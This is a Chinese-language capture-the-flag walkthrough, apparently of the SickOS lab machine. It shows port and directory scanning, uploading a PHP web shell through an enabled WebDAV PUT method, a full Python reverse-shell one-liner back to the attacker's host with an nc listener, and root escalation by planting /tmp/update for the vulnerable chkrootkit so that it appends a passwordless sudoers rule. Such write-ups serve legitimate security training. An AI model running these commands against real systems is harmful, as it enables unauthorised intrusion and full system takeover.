下载链接:
正文:
先用nmap扫描靶机ip
nmap -sn 192.168.1.1/24
获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到SickOS文件夹下,命名为port方便后续查看
nmap -p- 192.168.1.4 -r -PN -oA SickOS/port
(-p-:对所有端口进行探测
-PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标
-oA:输出到指定位置
-r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。
)
对端口指纹进行详细探测,并把结果输出到SickOS文件夹下,命名为server方便后续查看
nmap -p 22,80 192.168.1.4 -sC -sV -r -O --version-all -A -oA SickOS/server
(-p:对指定的端口进行探测
-sV:版本信息
-sC:默认脚本扫描
-A:启动Os检测,版本检测,脚本扫描和traceroute
-O:探测操作系统信息
--version-all:尽可能多的探测信息)
访问80端口
翻译:
右键查看源代码
没有东西,进行目录爆破
dirsearch -u "http://192.168.1.4/"
login目录下没有发现任何东西
在test目录下我们进行尝试
向IP地址为192.168.1.4的服务器发送一个OPTIONS请求,获取关于服务器支持的HTTP方法和其他相关信息的响应
curl http://192.168.1.4/test/ -vv -X OPTIONS
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK:表示响应头部中的Allow字段,列出了服务器支持的HTTP方法列表。
获取shell:
我们发现服务器支持PUT方法
那我们用bp抓包进行对应尝试
将get方法改为put,并写入phpinfo()
写入成功
那我们尝试写入一句话木马
通过post方法进行传参尝试
用bp也可以
成功,在kali中打开nc监听,我们在url中构造反弹shell
nc -lvvp 8080
经过尝试,貌似只有python可以反弹shell
我们使用python进行反弹shell([~]#棱角 ::Edge.Forum* (ywhack.com))
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.35",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
提权
查找具有 Setuid 权限的文件
find / -perm -u=s -type f 2>/dev/null
没有可以利用的东西
查看计划任务
cat /etc/crontab
监听端口和进程信息
netstat -lntp
列出与定时任务相关的文件和目录
ls /etc/cron*
发现了该文件
chkrootkit是一款小巧易用的UNIX平台上的可以监测多种rootkit木马的工具
它的功能包括监测文件修改、utmp/wtmp/last日志修改、界面欺骗(promiscuous interfaces)、恶意核心模块等
0x01
在新kali窗口中查询该插件的漏洞脚本
searchsploit chkrootkit
将33899.txt复制到当前目录下
searchsploit chkrootkit -m 33899.txt
查看文件
cat 33899.txt
可以自行进行翻译,大概意思为:
将非root所有者的名为“update”的可执行文件放在/tmp中
运行chkrootkit(作为uid 0)
所以操作步骤为
在/tmp中放入一个名为update的非root所有者的可执行文件,并在该文件中构造恶意代码。
当系统以root身份运行chkrootkit时,其文件/ tmp /update将以root身份执行。
如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/tmp有写访问权限,就可以利用该漏洞获取root权限。
0x02
我们可以编辑该文件/etc/sudoers中让www-data用户获取root没有密码(www-data ALL=NOPASSWD: ALL)或者给当前用户所有权限(www-data ALL=(ALL:ALL) ALL)
切换到/tmp目录
cd /tmp
让www-data用户获取root没有密码
将指令
echo 'www-data ALL=NOPASSWD: ALL'>>/etc/sudoers
保存到文件并命名为“1”
该指令意思为在/etc/sudoers文件后面追加一条www-data ALL=NOPASSWD: ALL命令,该命令会使用户www-data在切换为root时不需要密码
- ALL:表示对于任何主机(ALL)都适用这个配置。
- NOPASSWD:表示无需密码验证。
- ALL:表示对于任何命令(ALL)都适用这个配置。
echo "echo 'www-data ALL=NOPASSWD: ALL' >> /etc/sudoers">1
查看“1”文件的内容为
因为我们无法判断该文件是否运行,我们在文件“1”后面追加一条命令,如果该文件运行,则生成一个新文件,方便我们查看
(“>>”表示追加,不会覆盖原有文件内容,“>”会覆盖原有文件内容)
echo "echo it finish > /tmp/333" >> 1
查看“1”内容
cat 1
如果该被文件运行,则会在/etc/sudoers文件内容后追加一条www-data ALL=NOPASSWD: ALL命令,该命令表示www-data用户切换为root权限时,无需密码
但是该文件是否被运行我们并不知道,所以第二行命令是将“it finish”语句写到/tmp目录(也就是当前目录)并命名为333,如果我们在当前目录下发现了“333”文件,则表示该文件被成功执行
0x03
给文件1加运行权限
chmod +x 1
将文件1重命名为update
mv 1 update
如果chkrootkit执行了我们改名后的update文件的话,会在/tmp目录下生成一个“333”文件,表示该指令 www-data ALL=NOPASSWD: ALL'>>/etc/sudoers 成功执行
发现生成的333文件,表示update文件已经运行
sudo su
成功提权
如果出先该提示,则需要重新开启一个命令框
python -c 'import pty; pty.spawn("/bin/sh")'